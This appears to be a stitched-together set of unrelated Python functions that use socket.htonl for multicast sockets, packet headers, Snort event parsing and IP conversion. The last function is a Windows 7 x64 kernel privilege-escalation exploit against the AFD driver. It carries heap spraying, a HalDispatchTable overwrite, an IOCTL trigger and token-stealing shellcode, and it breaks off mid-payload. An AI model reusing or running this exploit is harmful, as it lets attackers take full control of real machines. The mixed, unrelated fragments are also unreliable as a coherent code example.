def openmcastsock(group, port): # Create a socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Allow multiple copies of this program on one machine # (not strictly needed) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind it to the port # IRJ -- This needs to be fixed s.bind(('', port)) # Look up multicast group address in name server # (doesn't hurt if it is already in ddd.ddd.ddd.ddd format) group = socket.gethostbyname(group) # Construct binary group address bytes = map(int, string.split(group, ".")) grpaddr = long(0) for byte in bytes: grpaddr = (grpaddr << 8) | byte # Construct struct mreq from grpaddr and ifaddr ifaddr = socket.INADDR_ANY mreq = struct.pack('ll', socket.htonl(grpaddr), socket.htonl(ifaddr)) # Add group membership s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) return s
def genbuf(buf,index,count): # Md5 m = md5.new() m.update(buf) crc = m.digest() # encrypt #buf = genencbuf(buf,genkey()) # calc length databuf_len = len(buf) # next pack next_pack = count # count card_count = 2 # pack index p_index = index header = pack(SEND_DATA_STRUCT,socket.htonl(databuf_len), socket.htonl(FUNC_NO),socket.htonl(p_index), socket.htonl(card_count),socket.htonl(next_pack),0,0) #data databuf = header + crc + buf print binascii.b2a_hex(crc) # data print "length of data [%d] : length of buf [%08x] " % (databuf_len , len(databuf)) return databuf
def send_packet_back(self): from socket import htonl type_map = { 1 : 'app', 2 : 'box', 3 : 'erp', 4 : 'init', } cli = 'no type' if self._device_type in type_map: cli = type_map[self._device_type] #!!! put business logic result here body = 'hi~ %s' % cli ip = htonl(unpack('I', socket.inet_aton(self._ip))[0]) header = pack("2I32sdII", htonl(self._device_type), htonl(self._device_id), self._md5, self._timestamp, htonl(len(body)), ip) msg = header + body self._stream.write(msg) logging.debug('send packet back: header(%d, %d, %s, %.4f, %d, %s) body:%s' % (self._device_type, self._device_id, self._md5, self._timestamp, len(body), self._ip, body)) self._stream.read_bytes(BUSINESS_HEADER_LENGTH, self.read_packet_header)
def send(self, body='hi~'): """send packet back""" logging.debug('send packet back: body(%d, %d, %d, %d, %d, %d) %d:%s' % (self._author, self._version, self._request, self._verify, self._length, self._device, len(body), body)) from socket import htonl header1 = pack("6I", htonl(self._author), htonl(self._version), htonl(self._request), htonl(self._verify), htonl(self._length), htonl(self._device)) body = header1 + body ip = htonl(unpack('I', socket.inet_aton(self._ip))[0]) header = pack("2I32sdII", htonl(self._device_type), htonl(self._device_id), self._md5, self._timestamp, htonl(len(body)), ip) msg = header + body self._stream.write(msg) #ip = htonl(socket.inet_aton(self._ip)) ip = 0 logging.debug(ip) logging.debug('send packet back: header(%d, %d, %s, %.4f, %d, %s)' % (int(self._device_type), int(self._device_id), self._md5, self._timestamp, len(body), int(ip)))
def _crypt(key, plain): """ Crypt plain text with key. """ if len(plain) % 8 != 0: raise ValueError("Length of plain text must be multiple of 8.") crypted = "" cycle = [0, 0] result = [0, 0] keys = [socket.ntohl(int(s, 16)) for s in struct.unpack("8s" * (len(str(key)) / 8), "%x" % key)] data = struct.unpack("I" * (len(plain) / 4), plain) i = 0 while i < len(data): cycle[0] = data[i] ^ result[0] cycle[1] = data[i + 1] ^ result[1] result = _tea_encrypt(cycle, keys) crypted += "%08x%08x" % (socket.htonl(result[0]) & 0xFFFFFFFFL, socket.htonl(result[1]) & 0xFFFFFFFFL) i += 2 return crypted
def get_Unified2IDSEvent(data): ''' //UNIFIED2_IDS_EVENT_VLAN = type 104 //comes from SFDC to EStreamer archive in serialized form with the extended header typedef struct _Unified2IDSEvent { uint32_t sensor_id; uint32_t event_id; uint32_t event_second; uint32_t event_microsecond; uint32_t signature_id; uint32_t generator_id; uint32_t signature_revision; uint32_t classification_id; uint32_t priority_id; uint32_t ip_source; uint32_t ip_destination; uint16_t sport_itype; uint16_t dport_icode; uint8_t protocol; uint8_t impact_flag;//overloads packet_action uint8_t impact; uint8_t blocked; uint32_t mpls_label; uint16_t vlanId; uint16_t pad2;//Policy ID } Unified2IDSEvent; ''' sensor_id, event_id, event_second, event_microsecond, \ signature_id, generator_id, signature_revision, classification_id, \ priority_id, source_ip, destination_ip, sport_itpye, dport_icode, \ protocol, impact_flag, impact, blocked, mpls_label, \ vlanid, pad = struct.unpack("!IIIIIIIIIIIHHBBBBIHH", data) sip_int = int(source_ip) dip_int = int(destination_ip) source_ip_str = socket.inet_ntoa(struct.pack("I", socket.htonl((sip_int)))) dest_ip_str = socket.inet_ntoa(struct.pack("I", socket.htonl((dip_int)))) ev = SnortIDSEvent() ev["raw_data"] = hexlify(data) ev["sensor_id"] = sensor_id ev["event_id"] = event_id ev["event_second"] = event_second ev["event_microsecond"] = event_microsecond ev["signature_id"] = signature_id ev["generator_id"] = generator_id ev["signature_revision"] = signature_revision ev["classification_id"] = classification_id ev["priority_id"] = priority_id ev["ip_source"] = source_ip_str ev["ip_destination"] = dest_ip_str ev["sport_itype"] = sport_itpye ev["dport_icode"] = dport_icode ev["protocol"] = protocol ev["impact_flag"] = impact_flag ev["impact"] = impact ev["blocked"] = blocked ev["timestamp"] = time()#to detect lapsed events SnortUnpack.ids_events_lock.acquire() SnortUnpack.ids_events[event_id] = ev SnortUnpack.ids_events_lock.release()
def test_client(): # 新建socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((args.host, args.port)) md5 = hashlib.md5() body = "" with open(args.file, "r+") as log_file: for f in log_file: body += f md5.update(f) log_length = len(body) # 构造发送包 package = struct.pack( "I32s16sI{}s".format(log_length), socket.htonl(random.choice([101, 104])), "192.168.1.24.zip", md5.hexdigest()[:16], socket.htonl(log_length), body, ) s.sendall(package) s.close()
def seeder(index, salt): edi = salt + index edx = 0 ecx = 0x03E8 eax = edi edx = eax % ecx eax = eax / ecx print "eax : %x edx : %x salt : %x" % (eax, edx, salt) day, month, year = getDate() h = hashlib.new("md5") dx = ("%08x" % socket.htonl(edx)).decode("hex") print "\tedx : " + dx.encode("hex") h.update(dx) y = ("%x" % socket.htons(year)).decode("hex") print "\tyear : " + y.encode("hex") h.update(y) s = ("%08x" % socket.htonl(salt)).decode("hex") print "\tsalt : " + s.encode("hex") h.update(s) m = ("%04x" % socket.htons(month)).decode("hex") print "\tmonth : " + m.encode("hex") h.update(m) print "\tsalt : " + s.encode("hex") h.update(s) #d = ("%x" % socket.htons(day)).decode("hex") #print "\tday : " + d.encode("hex") #h.update(d) print "\tsalt : " + s.encode("hex") h.update(s) seed = h.hexdigest() return seed, edx
def _omc_delta(self, key, delta, initial, expiration, timeout, func_name): # Delta operation definition in the protocol is a bit weird; if # 'expiration' is set to DELTA_NO_ADD (0xffffffff) the value will # not be created if it doesn't exist yet, but since we have a # 'initial' argument in the python api we'd really like to use it to # signal whether or not a value should be initialized. # # To do that we'll map expiration to DELTA_NO_ADD if initial is None # and expiration is empty and throw an error if initial is None but # expiration isn't empty. if delta < 0: opcode = CMD_DECREMENT delta = -delta else: opcode = CMD_INCREMENT if initial is None: if expiration: raise Error(func_name + " operation's initial must be set if expiration time is used") expiration = DELTA_NO_ADD initial = 0 # CFFI doesn't support packed structs before version 0.8.2 so we create # an array of 5 x uint32_s instead of 2 x uint64_t + 1 x uint32_t extra = _ffi.new("uint32_t[]", 5) extra[0] = socket.htonl(delta >> 32) extra[1] = socket.htonl(delta & 0xffffffff) if initial: extra[2] = socket.htonl(initial >> 32) extra[3] = socket.htonl(initial & 0xffffffff) extra[4] = socket.htonl(expiration) req, objs = self._request(opcode, key=_to_bytes(key), extra=extra) timeout = timeout if timeout is not None else self.io_timeout resps = self._omc_command_async(req, 1, timeout, func_name) self._omc_check(resps[0].status, func_name) return resps[0].delta_value
def getUPnP(): "Returns a deferred, which returns a UPnP object" attempt = 0 while True: try: server = UPnPClientServer(("", 1900+attempt), UPnPProtocol) i = socket.inet_aton(getLocalIPAddress()) server.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_IF, i) #mcast = reactor.listenMulticast(1900+attempt, self) break except socket.error: attempt = random.randint(0,500) log.msg("couldn't listen on UPnP port, trying %d"%( attempt+1900), system='UPnP') if attempt != 0: log.msg("warning: couldn't listen on std upnp port", system='UPnP') #mcast.joinGroup('239.255.255.250', socket.INADDR_ANY) grpaddr = struct.unpack("I", socket.inet_aton(UPNP_MCAST))[0] mreq = struct.pack('II', socket.htonl(grpaddr), socket.htonl(socket.INADDR_ANY)) try: server.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) except socket.error: dsunittest.traceException("Failed doing IP_ADD_MEMBERSHIP for mreq %r" % mreq) # apparently on win32, even though this call fails, UPnP works just fine # so I'm commenting out this raise statement --eries # raise NoUPnPFound() return server.discoverUPnP()
def _send_ir(self, code): elapsed = time.time() - self._starttime ticks = long(elapsed * 625000) % 2**32 packet = 'i\x00' + struct.pack('L', socket.htonl(ticks)) + \ '\xff\x10' + struct.pack('L', socket.htonl(code)) + \ ''.join(["%c" % i for i in self._mac_addr]) self._send_packet(packet);
def handle_two_side_traffic(nfqueue_element): try: ip_packet = dpkt.ip.IP(nfqueue_element.get_payload()) src = socket.inet_ntoa(ip_packet.src) dst = socket.inet_ntoa(ip_packet.dst) sport = ip_packet.udp.sport dport = ip_packet.udp.dport print(src, sport, dst, dport) ct = nfct.nfct_new() if not ct: raise Exception("nfct_new failed!") nfct.nfct_set_attr_u8(ct, ATTR_L3PROTO, socket.AF_INET) nfct.nfct_set_attr_u32(ct, ATTR_IPV4_SRC, socket.htonl(struct.unpack('!I', ip_packet.src)[0])) nfct.nfct_set_attr_u32(ct, ATTR_IPV4_DST, socket.htonl(struct.unpack('!I', ip_packet.dst)[0])) nfct.nfct_set_attr_u8(ct, ATTR_L4PROTO, socket.IPPROTO_UDP) nfct.nfct_set_attr_u16(ct, ATTR_PORT_SRC, socket.htons(sport)) nfct.nfct_set_attr_u16(ct, ATTR_PORT_DST, socket.htons(dport)) nfct.nfct_setobjopt(ct, NFCT_SOPT_SETUP_REPLY) nfct.nfct_set_attr_u32(ct, ATTR_DNAT_IPV4, socket.htonl(struct.unpack('!I', socket.inet_aton('8.8.8.8'))[0])) nfct.nfct_set_attr_u16(ct, ATTR_DNAT_PORT, socket.htons(53)) nfct.nfct_set_attr_u32(ct, ATTR_TIMEOUT, 120) h = nfct.nfct_open(CONNTRACK, 0) if not h: raise Exception("nfct_open failed!") try: ret = nfct.nfct_query(h, NFCT_Q_CREATE, ct) if ret == -1: raise Exception("nfct_query failed!") finally: nfct.nfct_close(h) raw_socket.sendto(str(ip_packet), (dst, 0)) nfqueue_element.drop() except: traceback.print_exc() nfqueue_element.accept()
def _openmcastsock(group, port): """ Open a UDP socket, bind it to a port and select a multicast group Borrowed from the Python demos. """ # # Create a socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # # Allow multiple copies of this program on one machine # (not strictly needed) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # # Bind it to the port s.bind(('', port)) # # Look up multicast group address in name server # (doesn't hurt if it is already in ddd.ddd.ddd.ddd format) group = socket.gethostbyname(group) # # Construct binary group address bytes = map(int, group.split(".")) grpaddr = 0 for byte in bytes: grpaddr = (grpaddr << 8) | byte # # Construct struct mreq from grpaddr and ifaddr ifaddr = socket.INADDR_ANY mreq = struct.pack('ll', socket.htonl(grpaddr), socket.htonl(ifaddr)) # # Add group membership s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) # return s
def open(self): # Allow multiple copies of this program on one machine # (not strictly needed) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind it to the port self.socket.bind(('', self.port)) # Look up multicast group address in name server # (doesn't hurt if it is already in ddd.ddd.ddd.ddd format) self.group = socket.gethostbyname(self.group) # Construct binary group address bytes = map(int, self.group.split(".")) grpaddr = 0L for byte in bytes: grpaddr = (grpaddr << 8) | byte # Construct struct mreq from grpaddr and ifaddr ifaddr = socket.INADDR_ANY mreq = struct.pack('ll', socket.htonl(grpaddr), socket.htonl(ifaddr)) # Add group membership self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
def test_dict(d): test_attr_rw(d, 'simple_int', 55555, 44444) test_attr_rw(d, 'literal_int', 66666, 77777) test_attr_rw(d, 'simple_str', 'abcdef', 'kukutyin1') test_attr_rw(d, 'literal_str', 'abrakadabra', 'kukutyin2') test_attr_rw(d, 'simple_cstr', 'huligan', 'kukutyin3') test_attr_ro(d, 'literal_cstr_ro', 'viharkeszulodik') test_attr_rw(d, 'literal_cstr', 'viharkeszulodik2', 'kismacska3') test_attr_rw(d, 'simple_ip', socket.htonl(0xc0a80506), socket.htonl(0xc0a80508)) test_attr_rw(d, 'simple_ip_str', '192.168.5.8', '192.168.8.9') test_attr_ro(d, 'simple_ip', socket.htonl(0xc0a80809)) test_attr_rw(d, 'alias', 'kukutyin1', 'masvalami') test_attr_ro(d, 'bytearray_dup', 'bytearray' + '\0' * (128 - len('bytearray'))) test_attr_ro(d, 'bytearray', 'bytearray' + '\0' * (128 - len('bytearray'))) test_sockaddr(d.simple_obj) if not (d.custom == 0 and d.custom == 1 and d.custom == 2): raise ValueError d.custom = 55 if not (d.custom == 0 and d.custom == 1 and d.custom == 2): raise ValueError return 1
def lookup(self, localport, localip, remoteport, remoteip): try: f = file("/proc/net/tcp", "r") except IOError: print >> sys.stderr, "Couldn't open /proc/net/tcp" return None f.readline() li = [long(i) for i in localip.split(".")] localip = (li[0] << 24) + (li[1] << 16) + (li[2] << 8) + li[3] ri = [long(i) for i in remoteip.split(".")] remoteip = (ri[0] << 24) + (ri[1] << 16) + (ri[2] << 8) + ri[3] for l in f.xreadlines(): sp = l.split() if len(sp) < 8: continue locip, locport = sp[1].split(":") locip = socket.htonl(long(locip, 16)) & 0xFFFFFFFFL locport = int(locport, 16) remip, remport = sp[2].split(":") remip = socket.htonl(long(remip, 16)) & 0xFFFFFFFFL remport = int(remport, 16) if (localip, localport, remoteip, remoteport) != (locip, locport, remip, remport): continue uid = int(sp[7]) try: pw = pwd.getpwuid(uid) return pw[0] except: return "ERROR:NO-USER" return None
def get_Serial_Unified2IDSEvent_legacy(data, type, length): ''' //---------------LEGACY, type '7' //These structures are not used anymore in the product typedef struct _Serial_Unified2IDSEvent_legacy { uint32_t sensor_id; uint32_t event_id; uint32_t event_second; uint32_t event_microsecond; uint32_t signature_id; uint32_t generator_id; uint32_t signature_revision; uint32_t classification_id; uint32_t priority_id; uint32_t ip_source; uint32_t ip_destination; uint16_t sport_itype; uint16_t dport_icode; uint8_t protocol; uint8_t impact_flag;//sets packet_action uint8_t impact; uint8_t blocked; } Serial_Unified2IDSEvent_legacy; ''' sensor_id, event_id, event_second, \ event_microsecond, signature_id, \ generator_id, signature_revision, \ classification_id, priority_id, \ ip_source, ipdestination, \ sport_itype, dport_icode, \ protocol, impact_flag, impact, blocked = struct.unpack("!IIIIIIIIIIIHHBBBB", data) sip_int = int(ip_source) dip_int = int(ipdestination) source_ip_str = socket.inet_ntoa(struct.pack("I", socket.htonl((sip_int)))) dest_ip_str = socket.inet_ntoa(struct.pack("I", socket.htonl((dip_int)))) ev = SnortIDSEvent() ev["raw_data"] = hexlify(data) ev["sensor_id"] = sensor_id ev["event_id"] = event_id ev["event_second"] = event_second ev["event_microsecond"] = event_microsecond ev["signature_id"] = signature_id ev["generator_id"] = generator_id ev["signature_revision"] = signature_revision ev["classification_id"] = classification_id ev["priority_id"] = priority_id ev["ip_source"] = source_ip_str ev["ip_destination"] = dest_ip_str ev["sport_itype"] = sport_itype ev["dport_icode"] = dport_icode ev["protocol"] = protocol ev["impact_flag"] = impact_flag ev["impact"] = impact ev["blocked"] = blocked ev["timestamp"] = time()#to detect lapsed events SnortUnpack.ids_events_lock.acquire() SnortUnpack.ids_events[event_id] = ev SnortUnpack.ids_events_lock.release()
def pack_message(arg): size = WRITE_HEADER_LEN + len(arg) stream = struct.pack(WRITE_HEADER + "%ds" % len(arg), socket.htonl(1), socket.htonl(3), socket.htonl(size), arg) return stream
def convert_integer(): data = 1234; #32bit print "Original: %s => Long host byte order: %s, Network byte order: %s" \ %(data, socket.ntohl(data), socket.htonl(data)) #16bit print "Original: %s => Short host bype order: %s, Network byte order: %s" \ %(data, socket.ntohl(data), socket.htonl(data))
def ipv6_to_string(ipv6): ipv6_n = (socket.htonl(ipv6[0]), socket.htonl(ipv6[1]), socket.htonl(ipv6[2]), socket.htonl(ipv6[3])) data = struct.pack('IIII', ipv6_n[0], ipv6_n[1], ipv6_n[2], ipv6_n[3]) ipv6_string = socket.inet_ntop(socket.AF_INET6, data) return ipv6_string
def match_header(address): match_eth = bytearray( c_uint32( htonl( NXM_OF_ETH_TYPE() ) ) ) eth_type = bytearray( c_uint16( htons( 0x86dd ) ) ) match_ip6 = bytearray( c_uint32( htonl( NXM_NX_IPV6_DST() ) ) ) result = match_eth + eth_type + match_ip6 + address return result
def read_routes(): try: f=open("/proc/net/route", "rb") except IOError: warning("Can't open /proc/net/route !") return [] routes = [] s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x", LOOPBACK_NAME.encode("utf8"))) addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl(s, SIOCGIFNETMASK,struct.pack("16s16x", LOOPBACK_NAME.encode("utf8"))) msk = socket.ntohl(struct.unpack("I",ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I",ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr, 1)) else: warning("Interface lo: unkown address family (%i)"% addrfamily) for l in f.readlines()[1:]: l = plain_str(l) iff,dst,gw,flags,x,x,metric,msk,x,x,x = l.split() flags = int(flags,16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x", iff.encode("utf8"))) except IOError: # interface is present in routing tables but does not have any assigned IP ifaddr="0.0.0.0" else: addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) else: warning("Interface %s: unkown address family (%i)", iff, addrfamily) continue # Attempt to detect an interface alias based on addresses inconsistencies dst_int = socket.htonl(int(dst, 16)) & 0xffffffff msk_int = socket.htonl(int(msk, 16)) & 0xffffffff ifaddr_int = struct.unpack("!I", ifreq[20:24])[0] gw_str = scapy.utils.inet_ntoa(struct.pack("I", int(gw, 16))) metric = int(metric) if ifaddr_int & msk_int != dst_int: tmp_route = get_alias_address(iff, dst_int, gw_str, metric) if tmp_route: routes.append(tmp_route) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) f.close() return routes
def wrapBulletin(self,bulletin,thread_number): __doc__ = socketManager.socketManager.wrapBulletin.__doc__ + \ """ wrapBulletin input Parameters: -bulletin: a bulletinAm object return value: -a bulletin as a ready to send string. Purpose: Add appropriate AM header to input bulletin. """ #initialisation des header fields #char header[80] tmp = bulletin.getBulletin() size = struct.calcsize('80s') nulList = [chr(curses.ascii.NUL) for x in range(size)] header = list(tmp[0:size]) paddedHeader = header + nulList[len(header):] header = string.join(paddedHeader,'') header = header.replace(chr(curses.ascii.LF), chr(curses.ascii.NUL), 1) #unsigned long src_inet, dst_inet src_inet = 0 dst_inet = 0 #unsigned char threads[4] #threads='0'+chr(255)+'0'+'0' threads= chr(0) + chr(thread_number) + chr(0) + chr(0) #unsigned int start, length start = 0 length = socket.htonl( len(bulletin.getBulletin()) ) #time_t firsttime, timestamp #firsttime = chr(curses.ascii.NUL) #timestamp = chr(curses.ascii.NUL) firsttime = socket.htonl(int(time.time())) timestamp = socket.htonl(int(time.time())) #char future[20] future = chr(curses.ascii.NUL) #construction de l'entete bulletinHeader = struct.pack(self.patternAmRec,header,src_inet,dst_inet,threads,start \ ,length,firsttime,timestamp,future) #put header and content together. wrappedBulletin = bulletinHeader + bulletin.getBulletin() return wrappedBulletin
def setPlen(self, plen): if (not IP4Addr.isValidPlen(plen)): return self._setMaskFail() self._plen = plen mask_hostorder = socket.htonl(IP4Addr.pltosm(self._plen)) self._mask_s = socket.inet_ntop(socket.AF_INET, struct.pack("L", mask_hostorder)[0:4]) self._mask_i = socket.htonl(mask_hostorder) return self._setMaskSuccess()
def send_pos(self, pos): """ pos is a tuple: (longitude, latitude) """ ba = bytearray() ba.extend(self.uid) ba.extend(bytes(c_uint32(socket.htonl(pos[0])))) ba.extend(bytes(c_uint32(socket.htonl(pos[1])))) # send altitude optionally if len(pos) > 2: ba.extend(bytes(c_uint32(socket.htonl(pos[2])))) self.sock.send(ba)
def convert_ReplierBindEvent_data_to_network(data): """Given the data for a ReplierBindEvent, convert it to network order. Returns a new version of the data, converted. """ hdr = _struct_from_bytes(_ReplierBindEventHeader, data) hdr.is_bind = htonl(hdr.is_bind) hdr.binder = htonl(hdr.binder) hdr.name_len = htonl(hdr.name_len) rest = data[ctypes.sizeof(_ReplierBindEventHeader):] return _struct_to_bytes(hdr)+rest
def write(self, body, device, ip): """""" msg = json.dumps(body) # header = pack("I32s", socket.htonl(len(msg)), md5(msg).hexdigest()) _ip = socket.htonl(unpack('I', socket.inet_aton(ip))[0]) header = pack("2I32sdII", socket.htonl(device), socket.htonl(device), self._md5, time.time(), socket.htonl(len(body)), _ip) m = header + msg self.boa.write(m) self.hold()
def _send_ir(self, code): elapsed = time.time() - self._starttime ticks = long(elapsed * 625000) % 2 ** 32 packet = ( "i\x00" + struct.pack("L", socket.htonl(ticks)) + "\xff\x10" + struct.pack("L", socket.htonl(code)) + "".join(["%c" % i for i in self._mac_addr]) ) self._send_packet(packet)
def do_hwmp_prep(self, flags, hopcount, ttl, targ_sta, targ_sn, lifetime, metric, orig_sta, orig_sn, targ_ext=None): base_pkt = Dot11(addr1="00:11:22:33:44:55", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") \ / Dot11Action(category="Mesh") base_pkt = base_pkt / Dot11Mesh(mesh_action="HWMP") if targ_ext == None: info = struct.pack("<BBB6sIII6sI", flags, hopcount, ttl, utils.mac2str(targ_sta), targ_sn, lifetime, metric, utils.mac2str(orig_sta), orig_sn) else: info = struct.pack("<BBB6sI6sII6sI", flags, hopcount, ttl, utils.mac2str( targ_sta), targ_sn, utils.mac2str(targ_ext), lifetime, metric, utils.mac2str(orig_sta), orig_sn) pkt = base_pkt / Dot11Elt(ID="PREP", info=info) xml = self.do_tshark_xml(pkt) tree = etree.fromstring(xml) ie = self.expectTagged(tree, "wlan_mgt", "Tag: Path Reply") self.expectField(ie, 'wlan_mgt.tag.number', 'Tag Number: Path Reply (131)', 131) self.expectField(ie, 'wlan.hwmp.flags', 'HWMP Flags: 0x%02X' % flags, flags) self.expectField(ie, 'wlan.hwmp.hopcount', 'HWMP Hop Count: %d' % hopcount, hopcount) self.expectField(ie, 'wlan.hwmp.ttl', 'HWMP TTL: %d' % ttl, ttl) self.expectField(ie, 'wlan.hwmp.targ_sta', 'Target STA Address: ' + targ_sta + ' (' + targ_sta + ')', binascii.hexlify(utils.mac2str(targ_sta))) self.expectField( ie, 'wlan.hwmp.targ_sn', 'Target HWMP Sequence Number: %d' % targ_sn, htonl(targ_sn)) if targ_ext != None: self.expectField(ie, 'wlan.hwmp.targ_ext', 'Target External Address: ' + targ_ext + ' (' + targ_ext + ')', binascii.hexlify(utils.mac2str(targ_ext))) self.expectField(ie, 'wlan.hwmp.lifetime', 'HWMP Lifetime: %d' % lifetime, htonl(lifetime)) self.expectField(ie, 'wlan.hwmp.metric', 'HWMP Metric: %d' % metric, htonl(metric)) self.expectField(ie, 'wlan.hwmp.orig_sta', 'Originator STA Address: ' + orig_sta + ' (' + orig_sta + ')', binascii.hexlify(utils.mac2str(orig_sta))) self.expectField( ie, 'wlan.hwmp.orig_sn', 'HWMP Originator Sequence Number: %d' % orig_sn, htonl(orig_sn))
def dump(self): def _searchgen(gen): if self.GENERATOR.has_key(gen): return self.GENERATOR[gen] else: return "UNKNOWN GENERATOR" eventtime = time.strftime("%d-%m-%Y %H:%M:%S", time.localtime(self.tv_sec)) if self.snortconf != None: selfgen = "%s.%10u ID: %u G:%s SID:%s CLASS:%u PRI:%u" % ( eventtime, self.tv_sec, self.event_id, _searchgen(self.sig_generator), self.snortconf.searchsid(self.sig_id, self.sig_generator), self.classification, self.priority, ) else: selfgen = "%s.%10u ID: %u G:%s SID:%s CLASS:%u PRI:%u" % ( eventtime, self.tv_sec, self.event_id, _searchgen(self.sig_generator), self.sig_id, self.classification, self.priority, ) eventreftime = time.strftime("%d-%m-%Y %H:%M:%S", time.localtime(self.ref_tv_sec)) eventref = " REF:%u REFTIME:%s.%10u" % (self.event_reference, eventreftime, self.ref_tv_usec) selfipinfo = " PROTO:%s SRC:%s:%d -> DST:%s:%d F:%08x" % ( getprotobynumber(self.protocol), socket.inet_ntoa(struct.pack("L", socket.htonl((self.sip)))), self.sport, socket.inet_ntoa(struct.pack("L", socket.htonl((self.dip)))), self.dport, self.flags, ) if self.event_reference != self.event_id: selfrefevent = "\t%s\n" % (eventref) else: selfrefevent = "" if self.type == EventSnort.TYPEALARM: print "ALARM " + selfgen + selfipinfo + selfrefevent elif self.type == EventSnort.TYPELOG: print "ALARMLOG " + selfgen + selfipinfo + selfrefevent else: raise Exception, "Bad alarm type"
def convert_integer(): data = 1234 # 32-bit 网络字节序转换为长整形主机字节序 print "Original: %s => Long host byte order: %s, Network byte order: %s" % (data, socket.ntohl(data), socket.htonl(data)) # 16-bit print "Original: %s => Short host byte order: %s, Network byte order: %s" % (data, socket.ntohs(data), socket.htons(data))
def ip_int_to_str(self, ip_int): """ convert the IP type from the int into the string. """ ip_str = socket.inet_ntoa(struct.pack('I', socket.htonl(ip_int))) return ip_str
def send(channel, *args): buf = serial(args) value = socket.htonl(len(buf)) size = struct.pack("L",value) channel.send(size) channel.send(buf)
def vt_ipv4(str): return socket.htonl(int(ipaddress.IPv4Address(unicode(str))))
def numToDottedQuad(n): """Convert long int to dotted quad string""" return socket.inet_ntoa(struct.pack('=L', socket.htonl(n)))
def main(): print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print "[+] fill kernel heap" rgnarr = [] nBottomRect = 0x02aaaaaa while (1): hrgn = windll.gdi32.CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1) if hrgn == 0: break rgnarr.append(hrgn) print ".", print "\n[+] GO!" HalDispatchTable = get_haldispatchtable() print "[+] HalDispatchTable address:", hex(HalDispatchTable) # Win7 - x64 (halbase, dllname) = find_driver_base("hal.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase + 0x398e8 # Offset for win7 x64 _KPROCESS = "\x70" _TOKEN = "\x08\x02" _UPID = "\x80\x01" _APLINKS = "\x88\x01" print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) IoStatus = c_ulonglong() IoStatusBlock = c_ulonglong() addrSetInfoWorkerFactory = 0x2218 firstWriteAddr = HalDispatchTable + 0x8 - 0x2C secondWriteAddr = firstWriteAddr + 0x4 thirdWriteAddr = firstWriteAddr + 0x1 shellcode_address = c_ulonglong shellcode_address = 0x0000000000002500 what_address = 0x0000250800002500 what_part1 = what_address & 0xfffffff what_part2 = what_address >> 32 & 0xfffffff inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = c_ulonglong(0) FakeWorkerFactoryADDR = 0x2100 CreateBuffer1(inbuf1) CreateBuffer2(inbuf2) CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory) print "" print "" print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory " print "[*] structures for phase 2 and fil the freed space with a " print "[*] WorkerFactory Object" raw_input("[+] Press Enter to trigger phase 1") ntdll.ZwDeviceIoControlFile.argtypes = [ c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong ] status = ntdll.ZwDeviceIoControlFile(sock, 0x0, 0x0, 0x0, byref(IoStatusBlock), 0x1207f, inbuf1, 0x40, 0x0, 0x0) kernel32.CreateIoCompletionPort.argtypes = [ c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong ] CompletionPort = HANDLE( kernel32.CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0)) ntdll.ZwCreateWorkerFactory.argtypes = [ POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong ] ntdll.ZwCreateWorkerFactory(byref(hWF), GENERIC_ALL, 0, CompletionPort, INVALID_HANDLE_VALUE, 0, 0, 0, 0, 0) hWFaddr = hWF padding = "\x90" * 8 HalDispatchTable0x8 = HalDispatchTable + 0x8 sc_pointer = struct.pack("Q", shellcode_address + 0x10) sc_pointer += struct.pack("Q", 0x25) restore_ptrs = "\x41\x51" +\ "\x41\x52" +\ "\x41\x53" +\ "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation) +\ "\x49\xba" + struct.pack("Q", HalDispatchTable0x8) +\ "\x4d\x89\x0a" tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00" 